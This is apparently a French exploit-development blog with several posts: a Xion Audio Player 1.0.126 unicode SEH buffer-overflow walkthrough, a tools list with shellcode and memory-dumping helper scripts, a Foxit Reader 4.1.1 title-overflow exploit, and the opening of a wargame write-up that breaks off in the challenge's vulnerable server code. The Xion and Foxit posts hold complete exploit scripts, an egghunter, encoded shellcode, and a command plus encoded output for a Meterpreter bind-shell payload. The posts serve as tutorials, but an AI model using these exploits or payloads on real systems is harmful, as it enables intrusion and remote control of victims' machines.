mardi 30 novembre 2010

[Exploit] Xion Audio Player 1.0.126 Buffer Overflow Vulnerability

[UPDATE : 30/11/2010] : corelanc0d3r backlinking + explication rapide sur egghunting + msf exploit module link

Bonsoir,

On voit souvent des vulnérabilitées étant classifiées comme des DOS, c'est assez courant mine de rien.
Aujourd'hui, je me balade sur Exploit-DB et je tombe sur ce DOS là : ici .

Let's hack it! ^^

Trigger it

Assez courant ces fichiers avec pleins de 'A' ;).

La première chose à faire est de savoir si on a un EIP ou un SEH overwrite :).

On génère notre fichier .m3u avec metasploit :
m_101@m_101-laptop:~/repos/msf$ tools/pattern_create.rb 10240 < ~/shared/msfpattern.m3u

On ouvre dans la "playlist" dans le lecteur.

Crash!


Oo de l'unicode dans notre SEH!! :)

On cherche l'offset avec pvefindaddr :
!pvefindaddr suggest


Et hop, on écrase le seh au bout de 263 octets (j'avais trouvé 252 au départ bizarrement ... testez ça marche encore avec mon sploit python ;)).
[EDIT] : L'offset change selon la longueur du path où se trouve le fichier mais ne dépend aucunement de la longueur du nom de fichier. Ici on trouve 263 car le fichier evil.m3u se trouve à la racine d'un disque.

Passons maintenant à la phase cassage du soft :).

Hack it!

On cherche une address de type ppr mais manque de pot, y'en a aucune qui est compatible unicode :(.

pvefindaddr est mine de rien un outils puissant ... il nous sauve la mise en nous trouvant un pointeur vers une instruction équivalente :
!pvefindaddr a
ce qui nous donne plusieurs pointeurs dont 0x00510043.

On a donc :
# 51            push ecx
# 00 43 00      add byte [ebx], al  ; nop
seh = '\x51\x43'    # add esp, 8 | ret

Il nous faut donc que EBX pointe vers une addresse écrivable.
En regardant notre pile, on voit que l'adresse empilée correspond à une addresse de stack => addresse écrivable.

 
Ce qui nous donne donc :

# 5b            pop ebx
# 00 43 00      add byte [ebx], al  ; nop
nseh = '\x5b\x43'

Dans notre screen précédent, on remarque aussi qu'il faut 2 pop avant d'atteindre un pointeur vers notre buffer unicode :). On va baser notre payload unicode sur ESP. Ca nous donne donc ça :
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"

Il ne reste donc plus qu'à aligner notre pile correctement. Pour celà, l'instruction popad est très pratique, elle dépile 8*4 = 32 octets pour un octet de code (4 si on compte le nop).
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
Vu qu'on pointe sur le début de notre buffer unicode, il faut donc qu'on y mettre 32 octets au mieux :).

Par contre, on a un problème à résoudre avant car les nops qu'on utilise ont la forme :
add [reg1], reg2
Il faut donc que reg1 pointe vers une addresse valide ... hors on détruit nos registres avec popad. Pour trouver notre addresse, on va utiliser la vue "Memory" (Alt+M) de Immunity DBG.


On trouve 3 plage intéressantes : numériques ;).

Ca nous donne donc ça :
# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"   ; ecx
align += "\x41\x39"   ; eax

On a finit de construire notre code d'alignement :
# alignment code
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
# junk code just for alignment
# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"     # ecx
align += "\x41\x39"     # eax

Vous mettez le sploit unicode (encodé avec alpha2) et tout devrait rouler ;).
N'oubliez pas de modifier le deuxième byte de la payload alpha2 avec 'a' (ecx) car sinon vous aurez un bon plantage (ebp pointe pas vers une bonne addresse).
Au final, on finit avec un beau sploit ;).

Egghunting?

Avoir la possibilitée d'encoder nos payloads avec l'encodeur alpha2 est somme tout assez pratique mais on se rend compte que niveau taille c'est pas trop ça ...
Comme vous le savez sûrement, il y a plusieurs techniques pour contourner les problèmes de tailles telles que le staging ou encore le egghunting.

Le egghunting consiste à chercher notre payload principale plus grosse en mémoire à l'aide d'une première payload de recherche.
Le paper de skape explique clairement le principe qui se résume aux étapes suivante :
1 - recherche d'une adresse mémoire valide (et lisible), si fail, on boucle sur 1
En effet, si nous essayons de lire une addresse mémoire non valide, nous aurons un plantage de la payload et donc un arrêt de notre exécution de code.
2 - vérification si le tag correspond (on boucle sur 1 si fail)
Le tag doit être unique, pour celà skape utilise un tag de 8 octets.
3 - exécution de la payload
Une fois le tag trouvé, on a un beau jmp vers celui-ci :).

Parfois on peut rencontrer des problèmes avec les egghunters telle que de multiples copies de la payload principale en mémoire (et certaines corrompues). La solution est de changer l'adresse de départ du egghunter ;).

corelanc0d3r a écrit un article entier sur le sujet sous forme de tutoriel : Exploit writing : Egghunting on Windows .

Et voilà now on a toutes les briques pour notre sploit' ^^.

Sploit it!

Voilà mon deuxième exploit unicode ^^ :
#!/usr/bin/python3

import sys
import subprocess

if len(sys.argv) < 3:
    print("Usage: %s payload output")
    exit(1)

filename = sys.argv[1]
fp = open(filename, 'rb')
payload = fp.read()
fp.close()

trigger1 = 'A' * 252
# skape NtDisplayString egghunter : alpha2 --unicode esp < egghunter.bin
hunter = 'TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBove1GZyolOa2Nr1Za3NxhMlnMlYuNzptjOwHr0mqr70NriVwfOqeJJvOBUYWKOk7A'
# egghunter tag
tag = 'PAWN' * 2

# 5b            pop ebx
# 00 43 00      add byte [ebx], al
nseh = '\x5b\x43'
# 51            push ecx
# 00 43 00      add byte [ebx], al
seh = '\x51\x43'    # add esp, 8 | ret

# alignment code
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
# junk code just for alignment
# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"     # ecx
align += "\x41\x39"     # eax

# make str long enough to trigger
trigger2 = 'B' * 3000

output = sys.argv[2]
fp = open(output, 'wb')
egg = trigger1 + nseh + seh + align + hunter + trigger2 + tag
fp.write(egg.encode())
fp.write(payload)
fp.close()

Sploit dev is expensive!

Sinon, je lis souvent qu'un sploit ça peut coûter cher à développer, voilà le temps que ça m'a mis : 2h20 pour le sploit original + 25 minutes pour le module msf et 45 minutes pour écrire l'article, soit 3h30.
Si on compte un forfait mensuel de 300€ pour de la main d'oeuvre pas cher (Chine par exemple) travaillant 20 jours mensuellement avec 10h par jour, ça nous fait 5.25€ :).
Bon j'exagère, je compte pas le temps pour trouver la vulnérabilitiée et pas tous le monde sait coder un exploit (y'a quand même beaucoup de gens :)).
Un bon sploit déveur est apparemment rémunéré dans les 250k/an, ce qui nous donnerais 364.6€ de développement.
On parle ici que d'une seule vuln' et d'un seul développeur, avec le fuzzing et si vous rajouter le développement d'un framework derrière ... ça monte assez vite.

Let's conclude!


J'ai écrit un module msf aussi, dès qu'il sera publié, j'updaterais le post avec le lien du sploit ;).
Après considération, on se rend compte qu'en utilisant l'encodeur alpha2, le plus important est de pouvoir aligner notre code ensuite le décodeur fait tous le boulot ;).

Have fun,

m_101

Liens :
- Foxit reader exploitation (Sud0)
- Foxit reader exploitation (m_101)
- Peter Van Eeckoutte's Exploit writing : Unicode exploitation
Xion Audio Player 1.0.126 MSF Exploit module

samedi 20 novembre 2010

Tips and tools for Linux and Windows

Dans toutes les étapes du dévelopement d'un sploit ou encore de la résolution d'un challenge (dans l'applicatif comme toujours :)) on se rend compte que notre meilleur amis après Google est notre débuggueur adoré (avant tous les autres tools de reversing :)).
Je vais ici décrire mon environnement de travail (qui est sommaire pour l'instant vu que je commence à peine à jouer avec les reals worlds exploits ...).

C'est une liste de tools qui est loin d'être exhaustive, mais je vais vous présenter ce que j'utilise.

Sous Linux

Pas de miracle ou de mystère, le débugueur roi est ici GDB!
C'est pas une panacé à utiliser mais avec l'habitude on s'y fait et c'est mine de rien une bien puissante bête :).
J'ai toujours trouvé un peu lourd à devoir retaper les habituels 'i r', etc après chaque break mais coup de chance, on peut tuner GDB! Un bon script existe : Plugin GDB :)
Oui de zoli couleur ^^.


Et pis bon, le débuguer fait pas tout, parfois on a besoin de choper des addresses de fonctions rapidos : nm.

On oublie pas de mater les bibliothèque loadées avec : ldd.

objdump est assez pratique pour dumper des listings asm entiers (et faire une recherche d'instructions intéressantes ;)).

nasm est indispensable pour l'assembly ... sans compter ndisasm.

Ou si on veut analyser les shellcodes utilisés dans les sploits, voilà 3 scripts shells de ma conception qui pourraient vous être utiles.
Le premier sert à cleaner les outputs de ndisasm :
#!/bin/sh

sed -r -e '
1 i bits 32\
\
section .text\
    global _start\
\
_start:

s/([0-9A-F]+\s+){2}/    /g
'
Le second à passer en unicode les payload unicode en ASCII :
#!/bin/sh

if [ "$#" -lt 1 ]
then
    echo "Usage : $0 (ascii2unicode|unicode2ascii)"
fi

case "$1" in
    ascii2unicode)
        sed -r 's/(\w)/\1\x00/g'
    ;;
    unicode2ascii)
        sed -r 's/(\w)\x00/\1/g'
    ;;
esac
Le dernier sert juste à me sortir n'importe quel fichier en hex escaped.
#!/usr/bin/python

import sys
import struct

if len(sys.argv) < 2:
    filename = '-'
else:
    filename = sys.argv[1]

if filename == '-':
    data = sys.stdin.read()
else:
    fp = open(filename, 'r')
    data = fp.read()
    fp.close()

# let's form the shellcode in C form
escaped = ''.join ("\\x%02x" % ord(c) for c in data)
shellcode = 'char shellcode[] = "' + escaped + '"'

print "shellcode size : %i" % len(data)
print shellcode
Ainsi en utilisant la ligne de commande on est mine de rien assez versatile :
m_101@m_101-laptop $ printf "CC" | ./ascii2unicode.sh ascii2unicode | ndisasm -b 32 - | ./clean_nasm.sed 
bits 32

section .text
    global _start

_start:
    inc ebx
    add [ebx+0x0],al
m_101@m_101-laptop $ printf "JUNK" | ./shellcode2arrayopt.py -
shellcode size : 4
char shellcode[] = "\x4a\x55\x4e\x4b"

On peut instrumenter GDB avec Python : PythonGDB.
Au pire il suffit de créer un fichier de commande GDB et de le lancer comme ça :
gdb -ex 'source cmds.gdb'

C'est la méthode que j'utilise pour dumper par exemple :
#!/usr/bin/python

# Author  : m_101
# email   : m101.sec at gmail.com
# Target  : Linux
# Depends : gdb, python
# Name    : iDumpMem
# Purpose : Dumping memory portion out of some process
# Version : 0.1
# License : GPL
# Greetz to people for which hacking is a way to live
# Thanks to 2600 Montreal folks for bringing this script idea
# The code is a bit crappy but it works at least :)

from os.path import *
from os import *
from sys import *
from commands import *
from string import *

# arguments check
if len(argv) < 3:
    # example: iDumpMem python heap
    print 'Usage: ' + argv[0] + 'proc_name memory_section [dump_file]'
    exit(1)

proc_name = argv[1]
mem_section = argv[2]

if len(argv) == 4:
    dump_file = argv[3]
else:
    dump_file = 'dump_' + proc_name + '_' + mem_section

# process information
proc_ps_line = getoutput('ps aux | grep ' + proc_name + ' | grep -Ev
"(grep|' + argv[0] + ')"')
if proc_ps_line == '':
    print 'Process ' + proc_name + " doesn't exist"
    exit(1)

# process id
proc_id = split(proc_ps_line)[1]
if proc_id == '':
    print "Didn't found proc_id ... exiting"
    exit(1)

# getting the memory section of interest
proc_maps_mem = getoutput('cat /proc/' + proc_id + '/maps | grep ' +
mem_section)
if proc_maps_mem == '':
    print 'No ' + mem_section + ' found ... exiting'
    exit(1)

# memory addresses
mem_range = split(proc_maps_mem)[0]

mem_start = '0x' + split(mem_range, '-')[0]
mem_end = '0x' + split(mem_range, '-')[1]

# printing the informations gained
print 'Process name : ' + proc_name
print 'Process id   : ' + proc_id
print 'Process ' + mem_section + ' : ' + mem_range
print '[+] Dumping process ' + mem_section + ' memory ... '

cmds_file_existed = exists(getcwd() + '/cmds.gdb')

# we create gdb commands file if the file doesn't exist yet
# we delete it afterward
if cmds_file_existed == False:
    gdb_cmds_file = file('cmds.gdb', 'w')
    gdb_cmds_file.write('attach ' + proc_id + '\n')
    gdb_cmds_file.write('dump mem ' + dump_file + ' ' + mem_start + '
' + mem_end + '\n')
    gdb_cmds_file.write('detach\n')
    gdb_cmds_file.write('quit\n')
    gdb_cmds_file.close()

# we execute gdb cmds for dumping targeted memory
gdb_dump_mem = getoutput("gdb -ex 'source cmds.gdb'")

# we delete the created gdb cmds file
if cmds_file_existed == False:
    unlink('cmds.gdb')

print '[+] ' + proc_name + ' ' + mem_section + ' was dumped'
print '[+] Bye bye ;)'

Sous Windows?

C'est pas les tools qui manquent!

Jouer avec les PEs

On pensent à identifier un éventuel packer avec PEiD ou RDG Packer Detector.


On peut ensuite faire du diffing avec DarunGrim.
En terme de patching engine, le meilleur que j'ai trouvé est diablo2oo2's Universal Patcher .

On peut aussi dumper ses process' avec LordPE:

Pour reconstruire ses dump, ImpREC est toujours aussi utile.


Les debuggers : 


Immunity debug

OllyDBG


WinDBG
IDA PRO


En termes de plugins :
Byakugan (windbg) : utile pour le sploit dév'.
pvefindaddr (ImmunityDBG) : utile pour le sploit dév'.
patchdiff2 : sert a choper les modifications des updates par exemple

D'autres tools peuvent être utiles :
PAIMEI : Reverse engineering framework
ROPEME : ROP Exploit Made Easy

Et pour finir l'un des tools qui est très utile : VirtualBox.

Et vous, quels tools utilisez-vous?

m_101

Tuning GDB Plugin GDB
Diff tools

vendredi 19 novembre 2010

[Exploitation] Foxit Reader 4.1.1 : Unicode SEH exploitation (1)

Greetz to corelancod3r, Ivanlef0u, Zenk-Security, HackBBS and a lot more of other people for hacking, helping, tips, etc :).

Salut!

Aujourd'hui je vais vous parler de l'exploitation de Foxit Reader 4.1.1. En effet, ce lecteur PDF est susceptible à un stack-based buffer overflow dans le champ du titre d'un PDF. La faille a été corrigée dans la version 4.2.
J'ai basé mon analyse sur celle faites par Sud0 sur le site de corelancod3r car je voulais avant tout jouer avec l'unicode :) (et puis un article français en plus ne fera pas de mal ;)).

Let's go!


Préparatifs

Pour triggerer cette vulnerabilitée, on a 2 pré-requis :
- DisplayDocTitle à true
- un titre plus que long

Comme à notre habitude, on génère un pattern metasploit :
msf/tools/pattern_create 10000 > msfpattern.txt

Au lieu d'utiliser le PoC présenté il y a quelques jours car je ne trouvais pas pratique d'éditer le fichier à chaque fois pour faire mes ajustement, j'ai préférer me générer mes PDFs avec Python et ReportLab.

Il faut tout d'abord patcher votre reportlab pour ajouter la directive DisplayDocTitle :
--- ./pdfdoc.py 2010-11-17 15:30:00.572930001 +0100
+++ /usr/lib/python2.6/dist-packages/reportlab/pdfbase/pdfdoc.py 2010-11-17 15:37:21.662930001 +0100
@@ -702,6 +702,7 @@
                 HideWindowUI=checkPDFBoolean,
                 FitWindow=checkPDFBoolean,
                 CenterWindow=checkPDFBoolean,
+                DisplayDocTitle=checkPDFBoolean,
                 NonFullScreenPageMode=checkPDFNames(*'UseNone UseOutlines UseThumbs UseOC'.split()),
                 Direction=checkPDFNames(*'L2R R2L'.split()),
                 ViewArea=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),

Une fois tout celà patché, on est fin prêt à générer notre fichier PDF avec le script suivant :
#!/usr/bin/python

# author : m_101

import sys
from reportlab.pdfgen import canvas
from reportlab.lib.units import inch

if len(sys.argv) < 2:
    print "Usage : %s output" % sys.argv[0]
    exit(1)

# filename
filename = sys.argv[1]
# get msfpattern
fp = open('msfpattern.txt', 'r')
msfpattern = fp.read()
fp.close()

print 'Creating ' + filename + ' exploit file'
# create pdf
pdf = canvas.Canvas(filename)
# document characteristics
pdf.setTitle(msfpattern)
pdf.setSubject('Foxit 4.1.1 unicode title overflow')
pdf.setAuthor('m_101')
pdf.setViewerPreference('DisplayDocTitle', 'true') # compulsory to trigger the vuln

# define a large font
pdf.setFont("Helvetica", 80)
# say hello (note after rotate the y coord needs to be negative!)
pdf.drawString(inch, 10*inch, "Not hacked :)")

pdf.showPage()
pdf.save()

print "Have fun :)"


Triggering the vuln'

Une fois notre fichier généré, on lance Foxit dans ImmunityDbg et Foxit crash à l'ouverture du fichier :


On remarque que notre seh handler contient une chaîne de type 00xx00xx : de l'unicode!!!

Pour trouver l'offset, on utilise le plugin de corelancod3r : pvefindaddr


On écrase donc nseh au bout de 540 octets.
Avant de continuer, une petite base sur l'exploitation unicode.

Exploiting with unicode payload

Pendant longtemps, les gens ont pensés que l'exploitation unicode était impossible et Chris Anley a montré le contraire :).
Le trick dans l'exploitation d'un bof unicode est d'utiliser des instructions de 1 octet pour padder au besoin et aller avec des instructions de 3 octets.
Par exemple :
5a          pop edx
00 41 00    add [ecx], al
Ou encore :
6a 00       push byte 0x0
58          pop ax
00 45 00    add [di+0x0], al
On peut voir que dans les deux cas on doit avoir un pointeur valide ou sinon nous aurons un "Access Violation" ou SIGSEV.
On peut considérer une instruction comme nop dès lors qu'elle n'influe pas sur notre exploitation à proprement parler. Les instructions de 3 bytes montrées peuvent servir à patcher la mémoire aussi.


Pour l'exploitation avec une payload unicode, on ne peut tout simplement pas faire de JMP directs. On a des POP, PUSH, XOR, ADD, RET et quelques autres instructions. On oublie les conditions
On peut également bridger et re-écrire directement dans la mémoire : on contrôle des pointeurs! :) Le principe évoqué dans Building IA32 'Unicode-Proof' Shellcodes est de patcher la mémoire pour reconstruire notre shellcode ^^.
Au final, les deux payloads vont se rencontrer et on continue notre exécution dans notre payload reconstruite. Le principe est illustré dans The art of exploitation au chapitre 0x691.
Vous pouvez ainsi commencer à coder en full alphanumeric puis patcher avec la technique ci-dessus. Bon évidemment coder une full payload en unicode est contre-productif, on va utiliser des encodeurs style alpha2 :).
Pour plus de détails, je vous invite à lire les papers bien écrits et détaillés que j'ai mis en liens à la fin de l'article.


Il nous faut trouver une addresse compatible unicode et qui soit aussi des instructions.
Lancer la commande suivante sous ImmunityDbg:
!pvefindaddr p1
Ensuite filtrant uniquement ceux qui nous intéressent (je suis sous Linux avec une VM VirtualBox) :
cat ppr1.txt | grep -i unicode | egrep -vi "(maybe|ansi)" > ppr-unicode.txt

Perso' j'ai choisi l'addresse suivante : 0x004d002f
2f            das
00 4d 00      add [ecx], cl
Il nous faut donc une adresse valide pour ECX ou on aura droit à un AV.
59        pop ecx
00 41 00  add byte [ecx], al

On va ici utiliser l'encodeur de metasploit :
m_101@m_101-laptop:~/repos/msf$ ./msfpayload windows/exec CMD=calc R | ./msfencode -e x86/alpha_mixed -t raw | ./msfencode -b "\x00" -e x86/unicode_mixed BufferRegister=ESP -t raw
[*] x86/alpha_mixed succeeded with size 456 (iteration=1)

[*] x86/unicode_mixed succeeded with size 1038 (iteration=1)

TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBDIGvJ9I6FyD6L4QNB6PYQ9Q9PIPIQ9Q9Q9PIPIPIQ3PCQ3PCQ3PCP7PQPZQZQ1B8PPP0Q1P0Q1BKQ1Q1B1P2Q1Q2P2Q2Q2P0Q2Q2Q1Q2PXB0P8Q1Q2PuPJPIPIBLPMP8PKP9Q7D0Q7BPQ5B0PQD0PNBIPJQ5Q6PQPJBRB1PtPNPkPBPrPPP0PLPKB0B2Q6PlPLPKPQPBQ5Q4PNBKPCPBPDBHPDPOPHP7B1PZQ4C6Q5PaPIPoPEQQPKPpPLBLPGPLPQPqPCPLQ7QbQ6PLPQP0PJPaPJPoQ6PmQ7D1PKD7Q8BBPLP0PQQ2Q6P7PLPKPBD2PBP0PLPKB1B2Q7PLQ6C1PHB0PNBKPQB0B1PhPOD5POP0Q4P4Q3QjQ6PaPNP0PFP0PNPkPCPxPDPXPNPkPPPXPEPpQ6PaQ9Q3PIQcPGPLPPQ9PLPKPFQDPLPKQ5PQPJPvPEQQPKPOQ5QQQ9B0PLPlPJC1Q8POPDPMQ3P1PKCGQ7Q8PKPPB1PeQ8QdQ7QcB1BMPKPHPEPkB1BMQ4C4Q2PUPMP2Q2D8PLPKQ6P8PDQTPEPQPNP3Q2PFPNPkPDPLB0PKPNBKQ3C8Q7PlPCP1PNP3PNBKPFBDPLPKQ3P1PNP0POCIPQQDB1P4Q7QDPQPKB1PKB0PaQ2PyPCQZQ6P1PKPOQ9D0PQPHPQPOPBQjPNPkQ7QRPJPKPKP6Q3BMPQPzPGBQPNBMPOD5POPIPEB0PCP0Q3P0PPPPPQPxB0P1PLPKPPBOPMPWPIPoQ8B5POPKPJPPPHP5PLBBQ2D6PCB8PLPfPLPUPOPMPMPMPKPOPNP5PGPLQ7PvQ3PLQ4PJPOBPPIPkPMP0PDP5PGPuPOPKPGP7PEPCQ4P2PPBOPQQjPCP0PBQcPIBOPKPeQ2Q3B0PaB0BLPEP3Q7PpPEQJQ1Q1AA

Pour l'encodeur metasploit ou alpha2, il faut padder le buffer et reajuster pour que le registre choisi pointe directement sur le premier octet de la payload unicode.
Une fois cette chose faites, on relance notre sploit.

On se rend compte qu'on a un "Access Violation" à cause d'un pointeur non valide, or on sait que ECX est valide :).


On change donc le premier U en a (0x55 => 0x61) pour avoir un pointeur valide.

Notre registre pointe désormais sur notre payload unicode et nos pointeurs sont tous valides, pawn!! :)

The Exploit

Le sploit :
#!/usr/bin/python

# author : m_101

import sys
from reportlab.pdfgen import canvas
from reportlab.lib.units import inch

if len(sys.argv) < 2:
    print "Usage : %s output" % sys.argv[0]
    exit(1)

# filename
filename = sys.argv[1] 
# 59        pop ecx
# 00 41 00  add byte [ecx], al
nseh = "\x59\x41"   # nops
# 2f        das
# 00 4d 00  add [ebx+0x0], cl
seh = "\x2f\x4d"    # pop pop ret

# get the interesting values
fixaddr = "\x5a"    # 5a                pop edx             ; we pop buffer address
fixaddr += "\x41"   # 00 41 00          add [ecx+0x0], al   ; nop
fixaddr += "\x5c"   # 5c                pop esp             ; we pop nseh address
fixaddr += "\x41"   # 00 45 00          add [ecx+0x0], al   ; nop

# fix base address to make it point to the beginning of shellcode
fixaddr += "\x61"   # 61                popadd
fixaddr += "\x41"   # 00 45 00          add [ecx+0x0], al   ; nop

fixaddr += "\x41"   # 41                inc ecx
fixaddr += "\x41"   # 00 45 00          add [ecx+0x0], al   ; nop

# ecx = 0x00350035 (writable address after popadd)
addr = '55N'        # 35 00 35 00 4e    xor eax, 0x4e003500
addr += 'A'         # 00 41 00          add [ecx+0x0], al
# payload
# encoders : x86/alpha_mixed + x86/unicode_upper
calc = 'TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBCYGuIJHIFyCEJTB8PPQIQ9PIQ9Q9Q9PIPIPIQ9Q9PCQ3Q3Q3Q3PCP7PQPZPjQ1B8PPP0Q1P0Q1PkQ1Q1PQP2Q1Q2P2PBPBP0Q2PBQ1Q2PXB0P8Q1Q2D5PJPIQ9PlPICHPKP9Q7BPPGPpQ3P0Q5P0POD9PKPUQ4PqPNP2PEP4PNPkPFP2B0P0PLPKPFP2PDPLPLPKPFP2PBP4PNPkPPD2Q7QHPDPOPLCGPBPjQ6PFPPP1Q9PoQ5PaPIB0PLPlQ7PLPEP1B1BLPDQ2Q4PlB1P0PJPaPJBOQ6PmQ5B1PJC7PID2PJB0B1Q2PCBGPNPkB0PRPFPpPNPkPCBRPGPLPFC1PNP0PNPkQ3D0PCQ8PLQ5PIB0PCQ4Q2BJQ3P1PNP0Q2PpPNBKB0PHPEQ8PLPKPBPxQ5BPPGPqPKPcPKQCQ5PlB0Q9PLPKQ7PDPLPKPFC1PNP6Q4PqPKPOQ5PaQ9B0PNPLPOP1Q8POQ4PMQ3P1PKBWQ7PHPKB0Q3Q5PKPDPGD3B1BMQ8PxQ5BKPCPMPGPTB1PePJQ2PQQ8PNBKQ6P8PEPtPGPqPKQSB0QVPNBKPFPlPBPkPLPKPCQXPEPLQ6C1PIPCPNBKQ6PdPLPKQ5B1PJPpPLQ9Q7P4PFPDB1P4PCPkPQPKQ3B1Q3C9PCBJPBD1PKPOPMP0PBCHPCPoQ3BJPLPKQ2P2PJPKPLPFQ3PmQ3QJPEPQPLPMPMPUPLCIQ7PpQ7D0Q7D0B0PPPBQ8PFPQPNPkPPBOPMPWQ9PoQ9PEPOPKPLP0Q8P5Q9P2B0QFQ5P8PNPFPJP5POPMPMPMPIBOPKQUPEPlQ7QfQ3PLQ7QjPMB0PIBKPKB0B0CEPCP5PMBKQ7P7PEPCPDP2B0PoPPPjPCP0PBD3PKPOPNP5Q3PSQ3PQB0PlPCB3Q5B0PFQZQ1Q1AA'

#
trigger = "A" * 540
title = trigger + nseh + seh + fixaddr + addr + calc

print 'Creating ' + filename + ' exploit file'
# create pdf
pdf = canvas.Canvas(filename)
# document characteristics
pdf.setTitle(title)
pdf.setSubject('Foxit 4.1.1 unicode title overflow')
pdf.setAuthor('m_101')
pdf.setViewerPreference('DisplayDocTitle', 'true') # compulsory to trigger the vuln

# define a large font
pdf.setFont("Helvetica", 80)
# say hello (note after rotate the y coord needs to be negative!)
pdf.drawString(inch, 10*inch, "Not hacked :)")

pdf.showPage()
pdf.save()

print "Have fun :)"

Ce script génère un fichier pdf avec le lancement d'une calculatrice :

Si on veut plus qu'une calculatrice, l'encodeur metasploit n'est pas adapté car il génère de trop grande payload.
L'encodeur alpha2 original est plus efficace.
Voilà la payload meterpreter pour ceux qui veulent jouer ^^ :
m_101@m_101-laptop:~/repos/msf$ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b ‘\x00′ -t raw > ~/data/exploit/meterpreter_tcp.bin
m_101@m_101-laptop:~/data/exploit$ ./alpha2 --unicode esp < meterpreter_tcp.bin
TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBLsI9WNNHnnwJrpXZYNHYqdNDZTX1nkQORcWWYtnQT7ZoLC47LOzBIMWBNrJyKmNkdcQj5D6NSbdhgRUke73LaqxnLkl6WWKjWOBZVoNMzhLpMYkSsYYdJUxOOYtV3YZm3n1hvP7mFsPykEm0mKnKTnNotNwlIKLRLSYLLKLYnKVFNNINGhKlNQlOd0lj1i4wKJ2TNy5vLobGW5qqoTOlonjpDM4lUOKrJQRC5N4JkL2ZWwLmmOm9mCPNsrLJ9PnLRXsnzTSgLKNX7lnFGoiORwo5V4BtyoLiLkpxSDR5SpQoqJwol2OkcN5kW1XBmWqQM7JZMgVm9hOnOLylHmgiKopiuqz7SopiNmBOZLOkvrYKpzhP3kWU3MN74vX2lQK6Mi93nXNMrMRsPRu4LNcHURMYYKlol2reedBofBQUQUpxeXaYnz68Z3VChss8jPkoDTQx9vDqnXit9P9KZ0OPWKsCJs6W0t7sbL5MLi7LyjtiO4pzKTLjqSKxW9tBySWKEQLVlR7LjOONmsNKpevOLfhMBZzZJ2LMxoKQBTnyqwlKEQ4myxl354fEsQ1Qs6XRXmQUPfO288ZObFOZklntNUbOosmqMZOLjV2JJz4PPQZc3pVoSf4LQKMjKw8ptJlCTmYp6YaW2MK6A
Changez le premier U en a et tout ira bien :).

Have fun,

m_101

Ressources :
- The venetian exploit
- Practical Win32 unicode exploitation
- Building IA32 'Unicode-Proof' Shellcodes
Writing ia32 alphanumeric shellcodes
- Alpha2 encoder
- Peter Van Eeckhoutte's Exploit writing tutorial part 7 : unicode from 0x00410041 tocalc

Références :
- Foxit Reader 4.1.1 Stack Overflow Exploit - Egghunter Mod
- Foxit Reader v4.1.1 Stack Overflow Vulnerability (PoC)
Sud0 write-up

Tools :
- pvefindaddr
- ImmunityDbg

samedi 13 novembre 2010

[Wargame] VmZenk2 - level4

Hello les gens!

Aujourd'hui je vais vous présenter ma solution du challenge 4 de la VM2 de Zenk-Security.

C'est un challenge vraiment pas mal du tout, il a l'ASLR d'activé et est en remote :).

Tout d'abord il faut récupérer la machine virtuelle ici.

Et le code du challenge :
//gcc -o final final.c -mpreferred-stack-boundary=2 -fno-stack-protector
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFER_SIZE 1024 
#define BACKLOG 5      


void process(char *buffer);
void cleanup(int socket_descriptor, int incoming_socket);

int main(int argc, char *argv[]) {

    int   socket_descriptor = -1;
    int   incoming_socket;
 int   server_port = 7777;
    int   message_length;
    int   i_want_reusable_ports = 1;
    int   length;
    int   index;
 
    char   buffer[BUFFER_SIZE];
 
    struct   sockaddr_in my_address;
    struct   sockaddr_in their_address;

    socket_descriptor = socket(AF_INET, SOCK_STREAM, 0);


    if (socket_descriptor < 0) 
 {
  cleanup(socket_descriptor, incoming_socket);
  exit(1);
    }


    if (setsockopt(socket_descriptor, SOL_SOCKET, SO_REUSEADDR, &i_want_reusable_ports, sizeof(int))== -1)
 {
        cleanup(socket_descriptor, incoming_socket);
  exit(2);
    }


    my_address.sin_family = AF_INET;
    my_address.sin_port = htons(server_port);
    my_address.sin_addr.s_addr = INADDR_ANY;
    memset(&(my_address.sin_zero), '0', 8);

